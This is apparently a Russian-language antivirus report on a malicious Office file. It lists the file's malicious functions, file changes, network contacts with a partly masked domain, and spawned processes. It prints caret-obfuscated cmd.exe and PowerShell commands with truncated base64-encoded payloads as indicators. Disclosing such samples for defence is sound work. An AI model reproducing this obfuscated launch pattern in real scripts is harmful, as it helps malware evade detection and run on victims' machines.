Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C P^OW^ErS^he^LL -E WwBTAFkAcwBUAEUATQAuAHQARQBYAFQALgBFAE4AYwBPAGQASQBOAEcAXQA6ADoAVQBuAEkAYwBvAEQARQAuAGcARQB0AHMAVABSAEkAbgBHACgAWwBTAHkAcwBUAGUATQAuAEMATwBuAFYARQBSAFQAXQA6ADoAZgByAG8AbQBi...
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{58ffe30f-421d-48f6-9993-9dee55e8b2ce}.tmp
Сетевая активность
TCP
- 'bu###adomes.com':443
UDP
- DNS ASK bu###adomes.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C P^OW^ErS^he^LL -E WwBTAFkAcwBUAEUATQAuAHQARQBYAFQALgBFAE4AYwBPAGQASQBOAEcAXQA6ADoAVQBuAEkAYwBvAEQARQAuAGcARQB0AHMAVABSAEkAbgBHACgAWwBTAHkAcwBUAGUATQAuAEMATwBuAFYARQBSAFQAXQA6ADoAZgByAG8AbQBi...' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E WwBTAFkAcwBUAEUATQAuAHQARQBYAFQALgBFAE4AYwBPAGQASQBOAEcAXQA6ADoAVQBuAEkAYwBvAEQARQAuAGcARQB0AHMAVABSAEkAbgBHACgAWwBTAHkAcwBUAGUATQAuAEMATwBuAFYARQBSAFQAXQA6ADoAZgByAG8AbQBiAGEAUwBlADYANABTAF...
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
